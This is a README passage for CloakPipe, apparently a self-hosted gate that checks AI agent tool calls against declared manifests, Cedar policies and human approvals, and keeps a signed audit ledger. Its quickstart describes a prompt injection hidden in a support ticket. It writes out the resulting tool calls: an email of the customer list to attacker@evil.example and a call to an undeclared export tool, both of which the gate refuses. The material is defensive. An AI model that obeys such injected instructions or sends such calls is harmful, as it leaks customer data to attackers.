CloakPipe
Model proposes. Code disposes.
A self-hosted policy-enforcement gate for AI agent tool calls.
Quickstart · Declare · Enforce · Alert · Prove · Claude Code, Cursor, Codex · Roadmap
An agent's model decides which tool to call and with what arguments. A
prompt injection in a ticket, a web page or a tool result can change that
decision. CloakPipe sits between the agent and its MCP tool servers and
checks every tools/call against rules you wrote down before the run. It
has three jobs:
- Stop actions outside the contract: an undeclared tool, an argument the manifest does not allow, an email to an address that is not the customer on the ticket, a 51st email this hour.
- Ask a human when the rules say so: a refund over 100 is held until a signed approval receipt for that exact call exists.
- Leave evidence nobody can quietly edit: every decision is a signed, hash-chained ledger entry, anchored externally, that an auditor checks offline with one command.
It is one Rust binary that wraps any MCP server (stdio or Streamable HTTP, one or several behind one gate), keeps its state in local SQLite files and needs no account or network service.
60-second quickstart
A support agent works one ticket. A prompt injection hidden in the ticket
makes the model email the customer list to attacker@evil.example and call
an export_customers tool it was never given. The gate refuses both, lets
the legitimate email through, and holds a 350 refund for approval.
Install the binary from crates.io (Rust stable), and clone the repository for the example:
cargo install --locked cloakpipe-cli@0.14.0 # installs `cloakpipe`
git clone --branch v0.14.0 https://github.com/rohansx/cloakpipe && cd cloakpipe
Run the example in examples/support-agent. The
agent is played by printf, and the tool server by a 60-line Python stub
that logs every call it receives:
cd examples/support-agent
export CLOAKPIPE_HOME=$(mktemp -d) # a throwaway gate key, ledger and counters
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"send_email","arguments":{"ticket_id":"T-1042","to":"dana@customer.example","subject":"Your refund","body":"Your refund for T-1042 is on its way."}}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"send_email","arguments":{"ticket_id":"T-1042","to":"attacker@evil.example","subject":"Customer list","body":"Attached: every customer record."}}}' \
'{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"export_customers","arguments":{}}}' \
'{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"issue_refund","arguments":{"ticket_id":"T-1042","amount":350}}}' \
| cloakpipe mcp-proxy --upstream "python3 mock_upstream.py" \
--manifest cloakpipe.manifest.yaml \
--task-context task-context.json \
--operations-db "$CLOAKPIPE_HOME/operations.db"
On stdout, the agent gets two refusals, an approval request and one result (stderr also has the gate's start-up lines and the stub's log). Only the email to the customer on the ticket reached the tool:
{"jsonrpc":"2.0","id":2,"error":{"code":-32001,"message":"tool call refused by CloakPipe: scope_mismatch","data":{"reason":"scope_mismatch","tool":"send_email","release":"sha256:c55889deb72d677a13ef2962ba7d6ae97d7a13391c9e484484fde9bb084fb0fa","path":"/to"}}}
{"jsonrpc":"2.0","id":3,"error":{"code":-32001,"message":"tool call refused by CloakPipe: undeclared_tool","data":{"reason":"undeclared_tool","tool":"export_customers","release":"sha256:c55889deb72d677a13ef2962ba7d6ae97d7a13391c9e484484fde9bb084fb0fa"}}}
{"jsonrpc":"2.0","id":4,"error":{"code":-32001,"message":"tool call refused by CloakPipe: approval_required","data":{"reason":"approval_required","tool":"issue_refund","release":"sha256:c55889deb72d677a13ef2962ba7d6ae97d7a13391c9e484484fde9bb084fb0fa","approvers":["slack:#support-leads"],"fingerprint":"sha256:5e2bb82dd5f59e1291041fa84e311a1d606c06d5e06710e9ef57a31838547aa6"}}}
upstream received: send_email {"body": "Your refund for T-1042 is on its way.", "subject": "Your refund", "ticket_id": "T-1042", "to": "dana@customer.example"}
{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"send_email: done"}]}}
A refusal names the rule and the argument path, never the value. Each of
the four decisions, and the email's outcome (committed), is already an
entry in a signed ledger. Export it and verify it, as an auditor would:
cloakpipe ledger export --out audit-pack.tar
cloakpipe verify audit-pack.tar
entries: 5 (seq 0..4), chain OK, signatures OK
gaps: none
denials: 2, approvals: 1 required, 0 granted, unknown side effects: 0, reconciled: 0
manifests: sha256:c55889deb72d677a13ef2962ba7d6ae97d7a13391c9e484484fde9bb084fb0fa
result: OK
Next: approve the refund, watch the rate limit survive a restart, try shadow mode.
Declare
One file, cloakpipe.manifest.yaml, says which tools the agent may call and
what each call may carry. Anything it does not declare is refused. An
excerpt of the example's manifest:
release: support-agent
version: 2026.10.3
policy: ./policies/support.cedar
tools:
send_email:
args:
ticket_id: { type: string, one_of_context: ["ticket.id"], required: true }
to: { type: string, one_of_context: ["ticket.customer_email"], or_pattern: "@ourcompany\\.com$", required: true }
subject: { type: string, max_len: 200, required: true }
body: { type: string, max_len: 4000, required: true }
side_effect: true
idempotency_key: "{ticket_id}:{sha256(body)}"
issue_refund:
args:
ticket_id: { type: string, one_of_context: ["ticket.id"], required: true }
amount: { type: integer, min: 0, max: 500, required: true }
side_effect: true
approval:
when: "amount > 100"
approvers: ["slack:#support-leads"]
ttl: 15m
- Closed by default. An undeclared tool is
undeclared_tool; an undeclared argument isundeclared_argument. one_of_contextbinds an argument to the trusted task context your orchestrator writes (task-context.json), not to anything the model said.side_effect+idempotency_keymake a call a tracked operation: a retry is answered from the store and never runs twice, and a call whose reply was lost is held asunknownuntil someone reconciles it.approvalholds a call until a signed receipt for its exact arguments exists; the refusal carries the routes and the call fingerprint for whatever approval flow you run.showlists the arguments an approver may see.
The optional policy: file is Cedar, for
rules a per-argument contract cannot express: rate limits over persistent
counters, tiers, time windows. From the example:
@id("email-rate-limit")
forbid (principal, action == Action::"send_email", resource)
when { context.counters.send_email_1h >= 50 };
@id("refund-large")
@approval("slack:#support-leads")
permit (principal == Release::"support-agent", action == Action::"issue_refund", resource)
when { resource.args.amount > 100 && resource.args.amount <= 500 };
cloakpipe manifest validate checks both files and cloakpipe manifest hash
prints the digest every decision is bound to. Reference:
docs/MANIFEST.md, docs/POLICY.md and
the JSON Schema.
Enforce
cloakpipe mcp-proxy --upstream "<server command>" --manifest <file> runs
the server as a child process and relays JSON-RPC both ways. Every
tools/call goes through, in order:
- Contract (the manifest): tool declared, arguments declared and in range, values bound to the task context.
- Cedar (if the manifest has
policy:): no permit or any matching forbid ispolicy_denied, naming the forbids that decided it. - Approval: from the manifest's
approval.whenor a Cedar@approvalpermit, checked against receipts made withcloakpipe approve(or fetched from an approval broker) and the keys given with--approver-key. - Operations: side-effecting calls are recorded before they run, so a retry cannot run them twice.
The first stage that refuses wins, and an error in any stage refuses the
call as fail_closed. A refused call never reaches the tool. An allowed
call reaches it exactly as the agent sent it.
To try a new manifest on live traffic without blocking anything, run with
--mode shadow: every call is forwarded and the ledger records what enforce
mode would have decided. Contract and Cedar evaluation of the example's
calls takes about 0.05 ms at p99 in a release build (a CI test asserts p99
under 5 ms in a debug build); the ledger write, one SQLite insert, comes on
top.
PII pseudonymization is a separate, opt-in transform: --transform pii
replaces PII in allowed calls' arguments with tokens and puts the values
back in results. The manifest is always checked on the raw arguments. The
same regex engine also runs as an OpenAI- and Anthropic-compatible HTTP
proxy (cloakpipe start); see Other commands.
Details: docs/ACTION_BOUNDARY.md.
MCP over HTTP (v0.13.0)
Either side of the gate can speak MCP's Streamable HTTP transport (spec
rev 2025-06-18) instead of stdio. Every tools/call gets the same
decision, refusal and ledger entry as over stdio.
Agents connect over HTTP with --listen:
cloakpipe mcp-proxy --listen 127.0.0.1:8900 \
--manifest examples/support-agent/cloakpipe.manifest.yaml \
--task-context examples/support-agent/task-context.json \
--operations-db ops.db \
--upstream "python3 examples/support-agent/mock_upstream.py"
# stderr: cloakpipe: MCP over HTTP listening on http://127.0.0.1:8900/mcp
claude mcp add --transport http support-tools http://127.0.0.1:8900/mcp
POST /mcptakes one JSON-RPC message and answers a request with oneapplication/jsonresponse (a notification gets202). There are no SSE response streams and noGET /mcpstream (405), so server-sent notifications such as progress ortools/list_changedare not relayed to HTTP agents.initializeissues anMcp-Session-Id, which every later request must carry (400without one,404for an unknown one).DELETE /mcpends the session. All sessions share the one upstream; each request is forwarded under a gate-unique id, so sessions never mix up replies, and anotifications/cancelledonly cancels a request of its own session.GET /healthreturns{"status":"ok","release":...,"release_digest":...}and needs no token.- A browser
Originmust be a loopback origin or the gate's own (DNS rebinding).--listen-token-file FILErequiresAuthorization: Bearer <token>on every/mcprequest (claude mcp add --transport http ... --header "Authorization: Bearer <token>"). The gate warns when it binds a non-loopback address; do that only with a token. - Ctrl-C or SIGTERM stops it; side-effecting calls still in flight are
recorded as
unknown, as over stdio.
The upstream is an HTTP MCP server with --upstream-url (instead of
--upstream):
cloakpipe mcp-proxy --manifest cloakpipe.manifest.yaml \
--upstream-url https://tools.example.com/mcp \
--upstream-header "Authorization: env:TOOLS_AUTH"
The gate POSTs each message with the given headers (an env:VAR value is
read from the environment at start-up; values are never logged), accepts
JSON or SSE replies, and carries the server's Mcp-Session-Id and the
negotiated MCP-Protocol-Version. Upstream transport errors fail closed: a
connection error, an HTTP error status, or a reply that never comes answers
the agent with upstream_unavailable (JSON-RPC -32003), and a
side-effecting call that was sent becomes unknown in the operations store
and the ledger until reconciled. --listen and --upstream-url combine.
--upstream-url fronts one HTTP server; --server and --tools-lock
(below) take stdio servers, also behind --listen. HTTP servers behind
--server are on the roadmap.
Several servers and pinned tools (v0.13.0)
One gate can front several MCP servers. Give each one as
--server NAME=COMMAND; --upstream is the server named default. The
gate starts and lists every server, answers the agent with one merged
tools/list, and routes each tools/call to the server that serves the
tool. A tool name two servers share stops the gate at start-up, unless the
manifest declares it per server as <server>__<tool>.
Pin the tool definitions you reviewed, and the gate hides and refuses
(tool_drift) any tool whose name, description, input schema or
annotations change afterwards:
cloakpipe tools pin --server 'mail=npx -y @acme/mail-mcp' --server 'files=...'
cloakpipe tools diff --lock cloakpipe.tools.lock --server 'mail=...' --server 'files=...'
cloakpipe mcp-proxy --manifest cloakpipe.manifest.yaml \
--server 'mail=...' --server 'files=...' --tools-lock cloakpipe.tools.lock
Even without a lock, a tool whose definition changes during a session is hidden and refused. All of this works the same for an agent over HTTP:
cloakpipe mcp-proxy --listen 127.0.0.1:8900 --listen-token-file listen.token \
--manifest cloakpipe.manifest.yaml \
--server 'mail=...' --server 'files=...' --tools-lock cloakpipe.tools.lock \
--webhook "$SLACK_WEBHOOK_URL" --webhook-format slack
A server that exits leaves the others serving: its open requests fail
closed (upstream_unavailable; a side-effecting call becomes unknown).
Details:
docs/ACTION_BOUNDARY.md.
Approvals through CloakPipe Cloud or any broker (v0.14.0)
cloakpipe approve signs a receipt by hand. To have a person approve from
Slack or a dashboard instead, point the gate at an approval broker:
cloakpipe mcp-proxy --manifest cloakpipe.manifest.yaml --upstream "python3 server.py" \
--task-context task-context.json --approvals approvals --approver-key approver.pub.json \
--approvals-url https://broker.example/v1/gates/$GATE_ID --approvals-secret-file gate.secret
A call refused as approval_required is filed with the broker in the
background (signed, with only the arguments the manifest's
approval.show lists), and the refusal tells the agent to retry after
approval. A poller fetches finished approvals, verifies each receipt
against --approver-key before writing it to --approvals, and the
retry runs. A denial is approval_denied; if the broker is down,
approvals simply do not arrive, and decisions never wait on it. The
protocol is open (two signed HTTP calls); CloakPipe Cloud implements it,
and so can your own service:
docs/APPROVALS.md.
Alert
Since v0.13.0. Each decision that needs attention
raises a gate event: decision.deny, approval.requested,
approval.mismatch, shadow.finding, side_effect.replayed,
side_effect.unknown, tool.drift or anchor.failed. An event carries the tool, the
reason, the contract path, the release, the ledger entry and a
deterministic fingerprint (the same failure always gets the same
fingerprint). It never carries an argument value.
cloakpipe mcp-proxy --manifest cloakpipe.manifest.yaml --upstream "python3 server.py" \
--events-log ~/.cloakpipe/events.jsonl \
--webhook "$SLACK_WEBHOOK_URL" --webhook-format slack \
--otel-endpoint http://localhost:4318
--webhook URL(repeatable) POSTs each event as JSON. Use--webhook-format slackordiscordfor a chat message. With--webhook-secret-file, each request is signed withCloakPipe-Signature: t=<unix>,v1=hex(HMAC-SHA256(secret, "<t>.<body>")).--otel-endpointexports one OpenTelemetry span per tool-call decision, allows included, over OTLP/HTTP.--events-logappends every event as a line of JSON.cloakpipe events test --webhook URL --webhook-format slacksends a sample event.cloakpipe events verify-signaturechecks a signature the way a receiver should.
Delivery runs on background threads with bounded queues: three tries, 5 s timeout, and drops are counted. A dead endpoint never delays a decision or changes it.
Details: docs/EVENTS.md.
Prove
- Decision ledger. Each decision is one
cloakpipe.decision/v1entry with the tool, a keyed fingerprint of the arguments (never the values), the decision and reason, the manifest and policy digests, the mode and the side-effect outcome. Entries are hash-chained and each one is signed (Ed25519) by the gate key. An entry is written before the call is forwarded: if it cannot be written, the call is refused. The ledger is on by default at~/.cloakpipe/ledger.db. - Anchoring.
--anchor-every 500 --anchor-interval 10mseals entries into numbered epochs on a background thread and anchors each epoch with an RFC 3161 timestamp authority and Sigstore Rekor, so the operator cannot back-date or rewrite history later without it showing. - Offline verification.
cloakpipe ledger export --out audit-pack.tarwrites one tar.cloakpipe verify audit-pack.tar --key <gate public key>checks the chain, every signature, every epoch's timestamp token and Rekor inclusion proof, and reports gaps, denials, approvals and unreconciled side effects. It needs no network and no trust in the operator. The standalonecloakpipe-verifybinary does the same.
Details: docs/ACTION_BOUNDARY.md, docs/ANCHORING.md, keys and rotation in docs/KEYS.md.
Use it with Claude Code, Cursor and Codex
Each of these hosts starts MCP servers as commands. To put the gate in
front of a server, make cloakpipe mcp-proxy the command and move the real
server into --upstream. Use absolute paths, because the host decides the
working directory.
The snippets below wrap the reference filesystem server with
examples/filesystem: a read-only manifest whose
Cedar policy also refuses .env and key files. Replace /path/to/... with
your own paths.
Claude Code (claude mcp add; --scope project writes .mcp.json,
and Claude Code asks you to approve a project server the first time):
claude mcp add project-files --scope project -- cloakpipe mcp-proxy \
--manifest /path/to/cloakpipe/examples/filesystem/cloakpipe.manifest.yaml \
--upstream "npx -y @modelcontextprotocol/server-file
